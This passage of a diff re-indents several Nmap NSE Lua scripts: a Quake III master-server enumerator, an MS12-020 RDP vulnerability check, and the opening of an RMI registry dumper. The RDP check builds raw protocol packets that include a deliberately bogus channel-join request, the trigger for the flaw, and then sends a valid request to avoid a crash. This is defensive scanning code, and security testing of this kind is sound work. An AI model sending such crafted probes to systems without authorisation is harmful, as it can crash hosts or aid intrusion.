return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
@@ -30,7 +30,7 @@ categories = {"default", "discovery", "safe"}
|
||||
|
||||
portrule = shortport.port_or_service ({20110, 20510, 27950, 30710}, "quake3-master", {"udp"})
|
||||
postrule = function()
|
||||
return (nmap.registry.q3m_servers ~= nil)
|
||||
return (nmap.registry.q3m_servers ~= nil)
|
||||
end
|
||||
|
||||
-- There are various sources for this information. These include:
|
||||
@@ -41,213 +41,213 @@ end
|
||||
-- - scanning master servers
|
||||
-- - looking at game traffic with Wireshark
|
||||
local KNOWN_PROTOCOLS = {
|
||||
["5"] = "Call of Duty",
|
||||
["10"] = "unknown",
|
||||
["43"] = "unknown",
|
||||
["48"] = "unknown",
|
||||
["50"] = "Return to Castle Wolfenstein",
|
||||
["57"] = "unknown",
|
||||
["59"] = "Return to Castle Wolfenstein",
|
||||
["60"] = "Return to Castle Wolfenstein",
|
||||
["66"] = "Quake III Arena",
|
||||
["67"] = "Quake III Arena",
|
||||
["68"] = "Quake III Arena, or Urban Terror",
|
||||
["69"] = "OpenArena, or Tremulous",
|
||||
["70"] = "unknown",
|
||||
["71"] = "OpenArena",
|
||||
["72"] = "Wolfenstein: Enemy Territory",
|
||||
["80"] = "Wolfenstein: Enemy Territory",
|
||||
["83"] = "Wolfenstein: Enemy Territory",
|
||||
["84"] = "Wolfenstein: Enemy Territory",
|
||||
["2003"] = "Soldier of Fortune II: Double Helix",
|
||||
["2004"] = "Soldier of Fortune II: Double Helix",
|
||||
["DarkPlaces-Quake 3"] = "DarkPlaces Quake",
|
||||
["Nexuiz 3"] = "Nexuiz",
|
||||
["Transfusion 3"] = "Transfusion",
|
||||
["Warsow 8"] = "Warsow",
|
||||
["Xonotic 3"] = "Xonotic",
|
||||
["5"] = "Call of Duty",
|
||||
["10"] = "unknown",
|
||||
["43"] = "unknown",
|
||||
["48"] = "unknown",
|
||||
["50"] = "Return to Castle Wolfenstein",
|
||||
["57"] = "unknown",
|
||||
["59"] = "Return to Castle Wolfenstein",
|
||||
["60"] = "Return to Castle Wolfenstein",
|
||||
["66"] = "Quake III Arena",
|
||||
["67"] = "Quake III Arena",
|
||||
["68"] = "Quake III Arena, or Urban Terror",
|
||||
["69"] = "OpenArena, or Tremulous",
|
||||
["70"] = "unknown",
|
||||
["71"] = "OpenArena",
|
||||
["72"] = "Wolfenstein: Enemy Territory",
|
||||
["80"] = "Wolfenstein: Enemy Territory",
|
||||
["83"] = "Wolfenstein: Enemy Territory",
|
||||
["84"] = "Wolfenstein: Enemy Territory",
|
||||
["2003"] = "Soldier of Fortune II: Double Helix",
|
||||
["2004"] = "Soldier of Fortune II: Double Helix",
|
||||
["DarkPlaces-Quake 3"] = "DarkPlaces Quake",
|
||||
["Nexuiz 3"] = "Nexuiz",
|
||||
["Transfusion 3"] = "Transfusion",
|
||||
["Warsow 8"] = "Warsow",
|
||||
["Xonotic 3"] = "Xonotic",
|
||||
}
|
||||
|
||||
local function getservers(host, port, q3protocol)
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(10000)
|
||||
local status, err = socket:connect(host.ip, port.number, "udp")
|
||||
if not status then
|
||||
return {}
|
||||
end
|
||||
local probe = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, string.format("getservers %s empty full\n", q3protocol))
|
||||
socket:send(probe)
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(10000)
|
||||
local status, err = socket:connect(host.ip, port.number, "udp")
|
||||
if not status then
|
||||
return {}
|
||||
end
|
||||
local probe = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, string.format("getservers %s empty full\n", q3protocol))
|
||||
socket:send(probe)
|
||||
|
||||
local data
|
||||
status, data = socket:receive() -- get some data
|
||||
if not status then
|
||||
return {}
|
||||
end
|
||||
nmap.set_port_state(host, port, "open")
|
||||
status, data = socket:receive() -- get some data
|
||||
if not status then
|
||||
return {}
|
||||
end
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
local magic = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getserversResponse")
|
||||
local tmp
|
||||
while #data < #magic do -- get header
|
||||
status, tmp = socket:receive()
|
||||
if status then
|
||||
data = data .. tmp
|
||||
end
|
||||
end
|
||||
if string.sub(data, 1, #magic) ~= magic then -- no match
|
||||
return {}
|
||||
end
|
||||
local magic = bin.pack("CCCCA", 0xff, 0xff, 0xff, 0xff, "getserversResponse")
|
||||
local tmp
|
||||
while #data < #magic do -- get header
|
||||
status, tmp = socket:receive()
|
||||
if status then
|
||||
data = data .. tmp
|
||||
end
|
||||
end
|
||||
if string.sub(data, 1, #magic) ~= magic then -- no match
|
||||
return {}
|
||||
end
|
||||
|
||||
port.version.name = "quake3-master"
|
||||
nmap.set_port_version(host, port)
|
||||
port.version.name = "quake3-master"
|
||||
nmap.set_port_version(host, port)
|
||||
|
||||
local EOT = bin.pack("ACCC", "EOT", 0, 0, 0)
|
||||
local pieces = stdnse.strsplit("\\", data)
|
||||
while pieces[#pieces] ~= EOT do -- get all data
|
||||
status, tmp = socket:receive()
|
||||
if status then
|
||||
data = data .. tmp
|
||||
pieces = stdnse.strsplit("\\", data)
|
||||
end
|
||||
end
|
||||
local EOT = bin.pack("ACCC", "EOT", 0, 0, 0)
|
||||
local pieces = stdnse.strsplit("\\", data)
|
||||
while pieces[#pieces] ~= EOT do -- get all data
|
||||
status, tmp = socket:receive()
|
||||
if status then
|
||||
data = data .. tmp
|
||||
pieces = stdnse.strsplit("\\", data)
|
||||
end
|
||||
end
|
||||
|
||||
table.remove(pieces, 1) --remove magic
|
||||
table.remove(pieces, #pieces) --remove EOT
|
||||
table.remove(pieces, 1) --remove magic
|
||||
table.remove(pieces, #pieces) --remove EOT
|
||||
|
||||
local servers = {}
|
||||
for _, value in ipairs(pieces) do
|
||||
local parts = {bin.unpack("CCCC>S", value)}
|
||||
if #parts > 5 then
|
||||
local o1 = parts[2]
|
||||
local o2 = parts[3]
|
||||
local o3 = parts[4]
|
||||
local o4 = parts[5]
|
||||
local p = parts[6]
|
||||
table.insert(servers, {string.format("%d.%d.%d.%d", o1, o2, o3, o4), p})
|
||||
end
|
||||
end
|
||||
socket:close()
|
||||
return servers
|
||||
local servers = {}
|
||||
for _, value in ipairs(pieces) do
|
||||
local parts = {bin.unpack("CCCC>S", value)}
|
||||
if #parts > 5 then
|
||||
local o1 = parts[2]
|
||||
local o2 = parts[3]
|
||||
local o3 = parts[4]
|
||||
local o4 = parts[5]
|
||||
local p = parts[6]
|
||||
table.insert(servers, {string.format("%d.%d.%d.%d", o1, o2, o3, o4), p})
|
||||
end
|
||||
end
|
||||
socket:close()
|
||||
return servers
|
||||
end
|
||||
|
||||
local function formatresult(servers, outputlimit, protocols)
|
||||
local t = tab.new()
|
||||
local t = tab.new()
|
||||
|
||||
if not outputlimit then
|
||||
outputlimit = #servers
|
||||
end
|
||||
for i = 1, outputlimit do
|
||||
if not servers[i] then
|
||||
break
|
||||
end
|
||||
local node = servers[i]
|
||||
local protocol = node.protocol
|
||||
local ip = node.ip
|
||||
local portnum = node.port
|
||||
tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol))
|
||||
end
|
||||
if not outputlimit then
|
||||
outputlimit = #servers
|
||||
end
|
||||
for i = 1, outputlimit do
|
||||
if not servers[i] then
|
||||
break
|
||||
end
|
||||
local node = servers[i]
|
||||
local protocol = node.protocol
|
||||
local ip = node.ip
|
||||
local portnum = node.port
|
||||
tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol))
|
||||
end
|
||||
|
||||
return tab.dump(t)
|
||||
return tab.dump(t)
|
||||
end
|
||||
|
||||
local function dropdupes(tables, stringify)
|
||||
local unique = {}
|
||||
local dupe = {}
|
||||
local s
|
||||
for _, v in ipairs(tables) do
|
||||
s = stringify(v)
|
||||
if not dupe[s] then
|
||||
table.insert(unique, v)
|
||||
dupe[s] = true
|
||||
end
|
||||
end
|
||||
return unique
|
||||
local unique = {}
|
||||
local dupe = {}
|
||||
local s
|
||||
for _, v in ipairs(tables) do
|
||||
s = stringify(v)
|
||||
if not dupe[s] then
|
||||
table.insert(unique, v)
|
||||
dupe[s] = true
|
||||
end
|
||||
end
|
||||
return unique
|
||||
end
|
||||
|
||||
local function scan(host, port, protocols)
|
||||
local discovered = {}
|
||||
for protocol, _ in pairs(protocols) do
|
||||
for _, node in ipairs(getservers(host, port, protocol)) do
|
||||
local entry = {
|
||||
protocol = protocol,
|
||||
ip = node[1],
|
||||
port = node[2],
|
||||
masterip = host.ip,
|
||||
masterport = port.number
|
||||
}
|
||||
table.insert(discovered, entry)
|
||||
end
|
||||
end
|
||||
return discovered
|
||||
local discovered = {}
|
||||
for protocol, _ in pairs(protocols) do
|
||||
for _, node in ipairs(getservers(host, port, protocol)) do
|
||||
local entry = {
|
||||
protocol = protocol,
|
||||
ip = node[1],
|
||||
port = node[2],
|
||||
masterip = host.ip,
|
||||
masterport = port.number
|
||||
}
|
||||
table.insert(discovered, entry)
|
||||
end
|
||||
end
|
||||
return discovered
|
||||
end
|
||||
|
||||
local function store(servers)
|
||||
if not nmap.registry.q3m_servers then
|
||||
nmap.registry.q3m_servers = {}
|
||||
end
|
||||
for _, server in ipairs(servers) do
|
||||
table.insert(nmap.registry.q3m_servers, server)
|
||||
end
|
||||
if not nmap.registry.q3m_servers then
|
||||
nmap.registry.q3m_servers = {}
|
||||
end
|
||||
for _, server in ipairs(servers) do
|
||||
table.insert(nmap.registry.q3m_servers, server)
|
||||
end
|
||||
end
|
||||
|
||||
local function protocols()
|
||||
local filter = {}
|
||||
local count = {}
|
||||
for _, advert in ipairs(nmap.registry.q3m_servers) do
|
||||
local key = stdnse.strjoin(":", {advert.ip, advert.port, advert.protocol})
|
||||
if filter[key] == nil then
|
||||
if count[advert.protocol] == nil then
|
||||
count[advert.protocol] = 0
|
||||
end
|
||||
count[advert.protocol] = count[advert.protocol] + 1
|
||||
filter[key] = true
|
||||
end
|
||||
local mkey = stdnse.strjoin(":", {advert.masterip, advert.masterport})
|
||||
end
|
||||
local sortable = {}
|
||||
for k, v in pairs(count) do
|
||||
table.insert(sortable, {k, v})
|
||||
end
|
||||
table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end)
|
||||
local t = tab.new()
|
||||
tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS')
|
||||
for i, p in ipairs(sortable) do
|
||||
local pos = i .. '.'
|
||||
local protocol = p[1]
|
||||
count = p[2]
|
||||
local game = KNOWN_PROTOCOLS[protocol]
|
||||
if game == "unknown" then
|
||||
game = ""
|
||||
end
|
||||
tab.addrow(t, pos, protocol, game, count)
|
||||
end
|
||||
return '\n' .. tab.dump(t)
|
||||
local filter = {}
|
||||
local count = {}
|
||||
for _, advert in ipairs(nmap.registry.q3m_servers) do
|
||||
local key = stdnse.strjoin(":", {advert.ip, advert.port, advert.protocol})
|
||||
if filter[key] == nil then
|
||||
if count[advert.protocol] == nil then
|
||||
count[advert.protocol] = 0
|
||||
end
|
||||
count[advert.protocol] = count[advert.protocol] + 1
|
||||
filter[key] = true
|
||||
end
|
||||
local mkey = stdnse.strjoin(":", {advert.masterip, advert.masterport})
|
||||
end
|
||||
local sortable = {}
|
||||
for k, v in pairs(count) do
|
||||
table.insert(sortable, {k, v})
|
||||
end
|
||||
table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end)
|
||||
local t = tab.new()
|
||||
tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS')
|
||||
for i, p in ipairs(sortable) do
|
||||
local pos = i .. '.'
|
||||
local protocol = p[1]
|
||||
count = p[2]
|
||||
local game = KNOWN_PROTOCOLS[protocol]
|
||||
if game == "unknown" then
|
||||
game = ""
|
||||
end
|
||||
tab.addrow(t, pos, protocol, game, count)
|
||||
end
|
||||
return '\n' .. tab.dump(t)
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
if SCRIPT_TYPE == "postrule" then
|
||||
return protocols()
|
||||
end
|
||||
local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"]
|
||||
if not outputlimit then
|
||||
outputlimit = 10
|
||||
else
|
||||
outputlimit = tonumber(outputlimit)
|
||||
end
|
||||
if outputlimit < 1 then
|
||||
outputlimit = nil
|
||||
end
|
||||
local servers = scan(host, port, KNOWN_PROTOCOLS)
|
||||
store(servers)
|
||||
local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end)
|
||||
local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS)
|
||||
if #formatted < 1 then
|
||||
return
|
||||
end
|
||||
local response = {}
|
||||
table.insert(response, formatted)
|
||||
if outputlimit and outputlimit < #servers then
|
||||
table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME))
|
||||
end
|
||||
return stdnse.format_output(true, response)
|
||||
if SCRIPT_TYPE == "postrule" then
|
||||
return protocols()
|
||||
end
|
||||
local outputlimit = nmap.registry.args[SCRIPT_NAME .. ".outputlimit"]
|
||||
if not outputlimit then
|
||||
outputlimit = 10
|
||||
else
|
||||
outputlimit = tonumber(outputlimit)
|
||||
end
|
||||
if outputlimit < 1 then
|
||||
outputlimit = nil
|
||||
end
|
||||
local servers = scan(host, port, KNOWN_PROTOCOLS)
|
||||
store(servers)
|
||||
local unique = dropdupes(servers, function(t) return string.format("%s: %s:%d", t.protocol, t.ip, t.port) end)
|
||||
local formatted = formatresult(unique, outputlimit, KNOWN_PROTOCOLS)
|
||||
if #formatted < 1 then
|
||||
return
|
||||
end
|
||||
local response = {}
|
||||
table.insert(response, formatted)
|
||||
if outputlimit and outputlimit < #servers then
|
||||
table.insert(response, string.format('Only %d/%d shown. Use --script-args %s.outputlimit=-1 to see all.', outputlimit, #servers, SCRIPT_NAME))
|
||||
end
|
||||
return stdnse.format_output(true, response)
|
||||
end
|
||||
|
||||
|
||||
@@ -72,152 +72,152 @@ categories = {"intrusive", "vuln"}
|
||||
portrule = shortport.port_or_service({3389},{"ms-wbt-server"})
|
||||
|
||||
action = function(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local status, err,response
|
||||
local socket = nmap.new_socket()
|
||||
local status, err,response
|
||||
|
||||
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info
|
||||
local connectionRequestStr = "0300" -- TPKT Header version 03, reserved 0
|
||||
.. "000b" -- Length
|
||||
.. "06" -- X.224 Data TPDU length
|
||||
.. "e0" -- X.224 Type (Connection request)
|
||||
.. "0000" -- dst reference
|
||||
.. "0000" -- src reference
|
||||
.. "00" -- class and options
|
||||
local connectionRequest = bin.pack("H",connectionRequestStr)
|
||||
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx for more info
|
||||
local connectionRequestStr = "0300" -- TPKT Header version 03, reserved 0
|
||||
.. "000b" -- Length
|
||||
.. "06" -- X.224 Data TPDU length
|
||||
.. "e0" -- X.224 Type (Connection request)
|
||||
.. "0000" -- dst reference
|
||||
.. "0000" -- src reference
|
||||
.. "00" -- class and options
|
||||
local connectionRequest = bin.pack("H",connectionRequestStr)
|
||||
|
||||
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
|
||||
local connectInitialStr = "03000065" -- TPKT Header
|
||||
.. "02f080" -- Data TPDU, EOT
|
||||
.. "7f655b" -- Connect-Initial
|
||||
.. "040101" -- callingDomainSelector
|
||||
.. "040101" -- calledDomainSelector
|
||||
.. "0101ff" -- upwardFlag
|
||||
.. "3019" -- targetParams + size
|
||||
.. "020122" -- maxChannelIds
|
||||
.. "020120" -- maxUserIds
|
||||
.. "020100" -- maxTokenIds
|
||||
.. "020101" -- numPriorities
|
||||
.. "020100" -- minThroughput
|
||||
.. "020101" -- maxHeight
|
||||
.. "0202ffff" -- maxMCSPDUSize
|
||||
.. "020102" -- protocolVersion
|
||||
.. "3018" -- minParams + size
|
||||
.. "020101" -- maxChannelIds
|
||||
.. "020101" -- maxUserIds
|
||||
.. "020101" -- maxTokenIds
|
||||
.. "020101" -- numPriorities
|
||||
.. "020100" -- minThroughput
|
||||
.. "020101" -- maxHeight
|
||||
.. "0201ff" -- maxMCSPDUSize
|
||||
.. "020102" -- protocolVersion
|
||||
.. "3019" -- maxParams + size
|
||||
.. "0201ff" -- maxChannelIds
|
||||
.. "0201ff" -- maxUserIds
|
||||
.. "0201ff" -- maxTokenIds
|
||||
.. "020101" -- numPriorities
|
||||
.. "020100" -- minThroughput
|
||||
.. "020101" -- maxHeight
|
||||
.. "0202ffff" -- maxMCSPDUSize
|
||||
.. "020102" -- protocolVersion
|
||||
.. "0400" -- userData
|
||||
local connectInitial = bin.pack("H",connectInitialStr)
|
||||
-- see http://msdn.microsoft.com/en-us/library/cc240836%28v=prot.10%29.aspx
|
||||
local connectInitialStr = "03000065" -- TPKT Header
|
||||
.. "02f080" -- Data TPDU, EOT
|
||||
.. "7f655b" -- Connect-Initial
|
||||
.. "040101" -- callingDomainSelector
|
||||
.. "040101" -- calledDomainSelector
|
||||
.. "0101ff" -- upwardFlag
|
||||
.. "3019" -- targetParams + size
|
||||
.. "020122" -- maxChannelIds
|
||||
.. "020120" -- maxUserIds
|
||||
.. "020100" -- maxTokenIds
|
||||
.. "020101" -- numPriorities
|
||||
.. "020100" -- minThroughput
|
||||
.. "020101" -- maxHeight
|
||||
.. "0202ffff" -- maxMCSPDUSize
|
||||
.. "020102" -- protocolVersion
|
||||
.. "3018" -- minParams + size
|
||||
.. "020101" -- maxChannelIds
|
||||
.. "020101" -- maxUserIds
|
||||
.. "020101" -- maxTokenIds
|
||||
.. "020101" -- numPriorities
|
||||
.. "020100" -- minThroughput
|
||||
.. "020101" -- maxHeight
|
||||
.. "0201ff" -- maxMCSPDUSize
|
||||
.. "020102" -- protocolVersion
|
||||
.. "3019" -- maxParams + size
|
||||
.. "0201ff" -- maxChannelIds
|
||||
.. "0201ff" -- maxUserIds
|
||||
.. "0201ff" -- maxTokenIds
|
||||
.. "020101" -- numPriorities
|
||||
.. "020100" -- minThroughput
|
||||
.. "020101" -- maxHeight
|
||||
.. "0202ffff" -- maxMCSPDUSize
|
||||
.. "020102" -- protocolVersion
|
||||
.. "0400" -- userData
|
||||
local connectInitial = bin.pack("H",connectInitialStr)
|
||||
|
||||
-- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx
|
||||
local userRequestStr = "0300" -- header
|
||||
.. "0008" -- length
|
||||
.. "02f080" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
|
||||
.. "28" -- PER encoded PDU contents
|
||||
local userRequest = bin.pack("H",userRequestStr)
|
||||
-- see http://msdn.microsoft.com/en-us/library/cc240835%28v=prot.10%29.aspx
|
||||
local userRequestStr = "0300" -- header
|
||||
.. "0008" -- length
|
||||
.. "02f080" -- X.224 Data TPDU (2 bytes: 0xf0 = Data TPDU, 0x80 = EOT, end of transmission)
|
||||
.. "28" -- PER encoded PDU contents
|
||||
local userRequest = bin.pack("H",userRequestStr)
|
||||
|
||||
local user1,user2
|
||||
local pos
|
||||
local user1,user2
|
||||
local pos
|
||||
|
||||
local rdp_vuln_0152 = {
|
||||
title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability",
|
||||
IDS = {CVE = 'CVE-2012-0152'},
|
||||
risk_factor = "Medium",
|
||||
scores = {
|
||||
CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)",
|
||||
},
|
||||
description = [[
|
||||
Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
||||
]],
|
||||
references = {
|
||||
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2012', month = '03', day = '13'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
local rdp_vuln_0152 = {
|
||||
title = "MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability",
|
||||
IDS = {CVE = 'CVE-2012-0152'},
|
||||
risk_factor = "Medium",
|
||||
scores = {
|
||||
CVSSv2 = "4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)",
|
||||
},
|
||||
description = [[
|
||||
Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
||||
]],
|
||||
references = {
|
||||
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2012', month = '03', day = '13'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
|
||||
local rdp_vuln_0002 = {
|
||||
title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability",
|
||||
IDS = {CVE = 'CVE-2012-0002'},
|
||||
risk_factor = "High",
|
||||
scores = {
|
||||
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
||||
]],
|
||||
references = {
|
||||
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2012', month = '03', day = '13'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
local rdp_vuln_0002 = {
|
||||
title = "MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability",
|
||||
IDS = {CVE = 'CVE-2012-0002'},
|
||||
risk_factor = "High",
|
||||
scores = {
|
||||
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
|
||||
},
|
||||
description = [[
|
||||
Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
||||
]],
|
||||
references = {
|
||||
'http://technet.microsoft.com/en-us/security/bulletin/ms12-020',
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2012', month = '03', day = '13'},
|
||||
},
|
||||
exploit_results = {},
|
||||
}
|
||||
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
rdp_vuln_0152.state = vulns.STATE.NOT_VULN
|
||||
rdp_vuln_0002.state = vulns.STATE.NOT_VULN
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
rdp_vuln_0152.state = vulns.STATE.NOT_VULN
|
||||
rdp_vuln_0002.state = vulns.STATE.NOT_VULN
|
||||
|
||||
-- Sleep for 0.2 seconds to make sure the script works even with SYN scan.
|
||||
-- Posible reason for this is that Windows resets the connection if we try to
|
||||
-- reconect too fast to the same port after doing a SYN scan and not completing the
|
||||
-- handshake. In my tests, sleep values above 0.1s prevent the connection reset.
|
||||
stdnse.sleep(0.2)
|
||||
-- Sleep for 0.2 seconds to make sure the script works even with SYN scan.
|
||||
-- Posible reason for this is that Windows resets the connection if we try to
|
||||
-- reconect too fast to the same port after doing a SYN scan and not completing the
|
||||
-- handshake. In my tests, sleep values above 0.1s prevent the connection reset.
|
||||
stdnse.sleep(0.2)
|
||||
|
||||
socket:connect(host.ip, port)
|
||||
status, err = socket:send(connectionRequest)
|
||||
socket:connect(host.ip, port)
|
||||
status, err = socket:send(connectionRequest)
|
||||
|
||||
status, response = socket:receive_bytes(0)
|
||||
if response ~= bin.pack("H","0300000b06d00000123400") then
|
||||
--probably not rdp at all
|
||||
stdnse.print_debug(1, "%s: not RDP", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
status, err = socket:send(connectInitial)
|
||||
status, err = socket:send(userRequest) -- send attach user request
|
||||
status, response = socket:receive_bytes(0) -- recieve attach user confirm
|
||||
pos,user1 = bin.unpack(">S",response:sub(10,11)) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx
|
||||
status, response = socket:receive_bytes(0)
|
||||
if response ~= bin.pack("H","0300000b06d00000123400") then
|
||||
--probably not rdp at all
|
||||
stdnse.print_debug(1, "%s: not RDP", SCRIPT_NAME)
|
||||
return nil
|
||||
end
|
||||
status, err = socket:send(connectInitial)
|
||||
status, err = socket:send(userRequest) -- send attach user request
|
||||
status, response = socket:receive_bytes(0) -- recieve attach user confirm
|
||||
pos,user1 = bin.unpack(">S",response:sub(10,11)) -- user_channel-1001 - see http://msdn.microsoft.com/en-us/library/cc240918%28v=prot.10%29.aspx
|
||||
|
||||
status, err = socket:send(userRequest) -- send another attach user request
|
||||
status, response = socket:receive_bytes(0) -- recieve another attach user confirm
|
||||
pos,user2 = bin.unpack(">S",response:sub(10,11)) -- second user's channel - 1001
|
||||
user2 = user2+1001 -- second user's channel
|
||||
local data4 = bin.pack(">SS",user1,user2)
|
||||
local data5 = bin.pack("H","0300000c02f08038") -- channel join request TPDU
|
||||
local channelJoinRequest = data5 .. data4
|
||||
status, err = socket:send(channelJoinRequest) -- bogus channel join request user1 requests channel of user2
|
||||
status, response = socket:receive_bytes(0)
|
||||
if response:sub(8,9) == bin.pack("H","3e00") then
|
||||
-- 3e00 indicates a successfull join
|
||||
-- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx
|
||||
-- service is vulnerable
|
||||
-- send a valid request to prevent the BSoD
|
||||
data4 = bin.pack(">SS",user2-1001,user2)
|
||||
channelJoinRequest = data5 .. data4 -- valid join request
|
||||
status, err = socket:send(channelJoinRequest)
|
||||
status, response = socket:receive_bytes(0)
|
||||
socket:close()
|
||||
rdp_vuln_0152.state = vulns.STATE.VULN
|
||||
rdp_vuln_0002.state = vulns.STATE.VULN
|
||||
return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
|
||||
end
|
||||
--service is not vulnerable
|
||||
socket:close()
|
||||
return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
|
||||
status, err = socket:send(userRequest) -- send another attach user request
|
||||
status, response = socket:receive_bytes(0) -- recieve another attach user confirm
|
||||
pos,user2 = bin.unpack(">S",response:sub(10,11)) -- second user's channel - 1001
|
||||
user2 = user2+1001 -- second user's channel
|
||||
local data4 = bin.pack(">SS",user1,user2)
|
||||
local data5 = bin.pack("H","0300000c02f08038") -- channel join request TPDU
|
||||
local channelJoinRequest = data5 .. data4
|
||||
status, err = socket:send(channelJoinRequest) -- bogus channel join request user1 requests channel of user2
|
||||
status, response = socket:receive_bytes(0)
|
||||
if response:sub(8,9) == bin.pack("H","3e00") then
|
||||
-- 3e00 indicates a successfull join
|
||||
-- see http://msdn.microsoft.com/en-us/library/cc240911%28v=prot.10%29.aspx
|
||||
-- service is vulnerable
|
||||
-- send a valid request to prevent the BSoD
|
||||
data4 = bin.pack(">SS",user2-1001,user2)
|
||||
channelJoinRequest = data5 .. data4 -- valid join request
|
||||
status, err = socket:send(channelJoinRequest)
|
||||
status, response = socket:receive_bytes(0)
|
||||
socket:close()
|
||||
rdp_vuln_0152.state = vulns.STATE.VULN
|
||||
rdp_vuln_0002.state = vulns.STATE.VULN
|
||||
return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
|
||||
end
|
||||
--service is not vulnerable
|
||||
socket:close()
|
||||
return report:make_output(rdp_vuln_0152,rdp_vuln_0002)
|
||||
end
|
||||
|
||||
@@ -155,20 +155,20 @@ portrule = shortport.port_or_service({1098, 1099, 1090, 8901, 8902, 8903}, {"jav
|
||||
-- Some lazy shortcuts
|
||||
|
||||
local function dbg(str,...)
|
||||
stdnse.print_debug(3,"RMI-DUMPREG:"..str, ...)
|
||||
stdnse.print_debug(3,"RMI-DUMPREG:"..str, ...)
|
||||
end
|
||||
|
||||
local function dbg_err(str, ... )
|
||||
stdnse.print_debug("RMI-DUMPREG-ERR:"..str, ...)
|
||||
stdnse.print_debug("RMI-DUMPREG-ERR:"..str, ...)
|
||||
end
|
||||
|
||||
-- Function to split a string
|
||||
local function split(str, sep)
|
||||
local sep, fields = sep or "; ", {}
|
||||
local pattern = string.format("([^%s]+)", sep)
|
||||
str:gsub(pattern, function(c) fields[#fields+1] = c end)
|
||||
return fields
|
||||
end
|
||||
local sep, fields = sep or "; ", {}
|
||||
local pattern = string.format("([^%s]+)", sep)
|
||||
str:gsub(pattern, function(c) fields[#fields+1] = c end)
|
||||
return fields
|
||||
end
|
||||
|
||||
|
||||
--This is a customData formatter. In some cases, the RMI library finds 'custom data' which belongs to an object.
|
||||
@@ -180,57 +180,57 @@ local function split(str, sep)
|
||||
-- of the returned RMI object.
|
||||
-- @return title, data
|
||||
function customDataFormatter(className, customData)
|
||||
if customData == nil then return nil end
|
||||
if #customData ==0 then return nil end
|
||||
if customData == nil then return nil end
|
||||
if #customData ==0 then return nil end
|
||||
|
||||
local retData = {}
|
||||
for k,v in ipairs(customData) do
|
||||
if v:find("file:/") == 1 then
|
||||
-- This is a classpath
|
||||
local cp = split(v, "; ") -- Splits into table
|
||||
table.insert(retData, "Classpath")
|
||||
table.insert(retData, cp)
|
||||
else
|
||||
table.insert(retData[v])
|
||||
end
|
||||
end
|
||||
local retData = {}
|
||||
for k,v in ipairs(customData) do
|
||||
if v:find("file:/") == 1 then
|
||||
-- This is a classpath
|
||||
local cp = split(v, "; ") -- Splits into table
|
||||
table.insert(retData, "Classpath")
|
||||
table.insert(retData, cp)
|
||||
else
|
||||
table.insert(retData[v])
|
||||
end
|
||||
end
|
||||
|
||||
return "Custom data", retData
|
||||
return "Custom data", retData
|
||||
end
|
||||
|
||||
|
||||
function action(host,port, args)
|
||||
|
||||
local registry= rmi.Registry:new( host.ip, port.number)
|
||||
local registry= rmi.Registry:new( host.ip, port.number)
|
||||
|
||||
|
||||
